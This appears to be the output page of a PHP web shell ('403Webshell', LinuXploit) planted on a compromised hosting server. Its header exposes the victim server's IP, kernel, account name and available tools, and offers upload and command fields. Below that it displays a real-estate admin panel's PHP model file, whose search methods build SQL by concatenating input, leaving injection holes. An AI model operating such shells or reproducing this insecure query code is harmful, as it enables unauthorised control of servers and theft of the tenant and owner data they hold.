403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/painel/models/imobiliaria/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/painel/models/imobiliaria/imobiliaria-model.php
<?php

/**
 * Classe para registros de usuários
 *
 * @package 
 * @since 0.1
 */
class ImobiliariaModel {

    /**
     * $form_msg
     *
     * As mensagens de feedback para o usuário.
     *
     * @access public
     */
    public $form_msg;

    /**
     * $db
     *
     * O objeto da nossa conexão PDO
     *
     * @access public
     */
    public $db;

    /**
     * Construtor
     * 
     * Carrega  o DB.
     *
     * @since 0.1
     * @access public
     */
    public function __construct($db = false) {
        $this->db = $db;
    }

    /**
     * 
     * @param type $acao
     * @param type $data
     * @return type
     * Aqui começa os proprietarios
     */
    public function proprietarios($acao, $data = null) {
        /*
         * Aqui você vai configurar as strings globais da função
         * nesse caso o banco de dados.
         */
        $tabelaFunc = 'proprietarios'; //banco de dados principal
        $chavePrimaria = 'id';

        //lita
        if ($acao == 'list') {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY id DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //get
        else if ($acao == 'get' && $data != null) {
            $path_get = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `' . $chavePrimaria . '` = ?', array($data));
            $us = $path_get->fetchAll();
            return @$us[0];
        }
        //update de edit
        else if ($acao == 'update' && $data != null) {
            $query = $this->db->update('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data['id'], $data);
            if (!$query) {
                return;
            }
        }
        //inserir novo no banco de dados
        else if ($acao == 'insert' && $data != null) {
            
            $query = $this->db->insert('' . $tabelaFunc . '', $data);
            if (!$query) {
                return;
            } else {
                  $query = $this->db->query('SELECT * FROM `'.$tabelaFunc.'` ORDER BY '.$chavePrimaria.' DESC LIMIT 1');
                  $urdata = $query->fetchAll();
                  echo $urdata[0][$chavePrimaria];
            }
        }
        //deletar
        else if ($acao == 'delete' && $data != null) {
            $query = $this->db->delete('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data);
            if (!$query) {
                return;
            }
        }
    }

    public function atendimentos($acao, $data = null) {
        /**
         * Aqui você vai configurar as strings globais da função
         * nesse caso o banco de dados.
         */
        $tabelaFunc = 'proprietarios_notas'; //banco de dados principal
        $chavePrimaria = 'id_nota';
        //busca
        if ($acao == 'search' && $data != null) {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `id_cliente` = ' . $data . ' ORDER BY id_nota DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }

        //lista 
        if ($acao == 'list') {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY id_nota DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //get
        else if ($acao == 'get' && $data != null) {
            $path_get = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `' . $chavePrimaria . '` = ?', array($data));
            $us = $path_get->fetchAll();
            return $us[0];
        }
        //update de edit
        else if ($acao == 'update' && $data != null) {
            $query = $this->db->update('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data['id'], $data);
            if (!$query) {
                return;
            }
        }
        //inserir novo no banco de dados
        else if ($acao == 'insert' && $data != null) {
            $query = $this->db->insert('' . $tabelaFunc . '', $data);
            if (!$query) {
                return;
            } else {
                $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY ' . $chavePrimaria . ' DESC LIMIT 1');
                $urdata = $query->fetchAll();
                echo $urdata[0][$chavePrimaria];
            }
        }
        //deletar
        else if ($acao == 'delete' && $data != null) {
            $query = $this->db->delete('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data);
            if (!$query) {
                return;
            }
        }
    }

    public function interesses($acao, $data = null) {
        /**
         * Aqui você vai configurar as strings globais da função
         * nesse caso o banco de dados.
         */
        $tabelaFunc = 'proprietarios_interesses'; //banco de dados principal
        $chavePrimaria = 'id_interesse';

        //search
        if ($acao == 'search' && $data != null) {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `id_cliente` = ' . $data . ' ORDER BY id_interesse DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //lista
        if ($acao == 'list') {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY id_interesse DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //get
        else if ($acao == 'get' && $data != null) {
            $path_get = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `' . $chavePrimaria . '` = ?', array($data));
            $us = $path_get->fetchAll();
            return $us[0];
        }
        //update de edit
        else if ($acao == 'update' && $data != null) {
            $query = $this->db->update('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data['id'], $data);
            if (!$query) {
                return;
            }
        }
        //inserir novo no banco de dados
        else if ($acao == 'insert' && $data != null) {
            $query = $this->db->insert('' . $tabelaFunc . '', $data);
            if (!$query) {
                return;
            } else {
                $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY ' . $chavePrimaria . ' DESC LIMIT 1');
                $urdata = $query->fetchAll();
                echo $urdata[0][$chavePrimaria];
            }
        }
        //deletar
        else if ($acao == 'delete' && $data != null) {
            $query = $this->db->delete('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data);
            if (!$query) {
                return;
            }
        }
    }

    public function documentos($acao, $data = null) {
        /**
         * Aqui você vai configurar as strings globais da função
         * nesse caso o banco de dados.
         */
        $tabelaFunc = 'proprietarios_arquivos'; //banco de dados principal
        $chavePrimaria = 'id_arquivo';

        //search
        if ($acao == 'search' && $data != null) {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `id_cliente` = ' . $data . ' ORDER BY id_arquivo DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //lista
        if ($acao == 'list') {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY id_arquivo DESC');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //get
        else if ($acao == 'get' && $data != null) {
            $path_get = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `' . $chavePrimaria . '` = ?', array($data));
            $us = $path_get->fetchAll();
            return $us[0];
        }
        //update de edit
        else if ($acao == 'update' && $data != null) {
            $query = $this->db->update('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data['id'], $data);
            if (!$query) {
                return;
            }
        }
        //inserir novo no banco de dados
        else if ($acao == 'insert' && $data != null) {
            $query = $this->db->insert('' . $tabelaFunc . '', $data);
            if (!$query) {
                return;
            } else {
                $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY ' . $chavePrimaria . ' DESC LIMIT 1');
                $urdata = $query->fetchAll();
                echo $urdata[0][$chavePrimaria];
            }
        }
        //deletar
        else if ($acao == 'delete' && $data != null) {
            $query = $this->db->delete('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data);
            if (!$query) {
                return;
            }
        }
    }

    public function inquilinos($acao, $data = null) {
        /**
         * Aqui você vai configurar as strings globais da função
         * nesse caso o banco de dados.
         */
        $tabelaFunc = 'inquilinos'; //banco de dados principal
        $chavePrimaria = 'id';


        //lita
        if ($acao == 'list') {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '`');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //get
        else if ($acao == 'get' && $data != null) {
            $path_get = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `' . $chavePrimaria . '` = ?', array($data));
            $us = $path_get->fetchAll();
            return @$us[0];
        }
        //update de edit
        else if ($acao == 'update' && $data != null) {
            $id = $data['id'];
            unset($data['id']);
            $query = $this->db->update('' . $tabelaFunc . '', '' . $chavePrimaria . '', $id, $data);
            if (!$query) {
                return;
            }
            echo $id;
        }
        //inserir novo no banco de dados
        else if ($acao == 'insert' && $data != null) {
            $query = $this->db->insert('' . $tabelaFunc . '', $data);
            if (!$query) {
                return;
            } else {
                $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY ' . $chavePrimaria . ' DESC LIMIT 1');
                $urdata = $query->fetchAll();
                echo $urdata[0][$chavePrimaria];
            }
        }
        //deletar
        else if ($acao == 'delete' && $data != null) {
            $query = $this->db->delete('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data);
            if (!$query) {
                return;
            }
        }
    }

    public function interessados($acao, $data = null) {
        /**
         * Aqui você vai configurar as strings globais da função
         * nesse caso o banco de dados.
         */
        $tabelaFunc = 'interessados'; //banco de dados principal
        $chavePrimaria = 'id';


        //lita
        if ($acao == 'list') {
            $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '`');
            if (!$query) {
                return array();
            }
            return $query->fetchAll();
        }
        //get
        else if ($acao == 'get' && $data != null) {
            $path_get = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` WHERE `' . $chavePrimaria . '` = ?', array($data));
            $us = $path_get->fetchAll();
            return $us[0];
        }
        //update de edit
        else if ($acao == 'update' && $data != null) {
            $id = $data['id'];
            unset($data['id']);
            $query = $this->db->update('' . $tabelaFunc . '', '' . $chavePrimaria . '', $id, $data);
            if (!$query) {
                return;
            }
            echo $id;
        }
        //inserir novo no banco de dados
        else if ($acao == 'insert' && $data != null) {
            $query = $this->db->insert('' . $tabelaFunc . '', $data);
            if (!$query) {
                return;
            } else {
                $query = $this->db->query('SELECT * FROM `' . $tabelaFunc . '` ORDER BY ' . $chavePrimaria . ' DESC LIMIT 1');
                $urdata = $query->fetchAll();
                echo $urdata[0][$chavePrimaria];
            }
        }
        //deletar
        else if ($acao == 'delete' && $data != null) {
            $query = $this->db->delete('' . $tabelaFunc . '', '' . $chavePrimaria . '', $data);
            if (!$query) {
                return;
            }
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit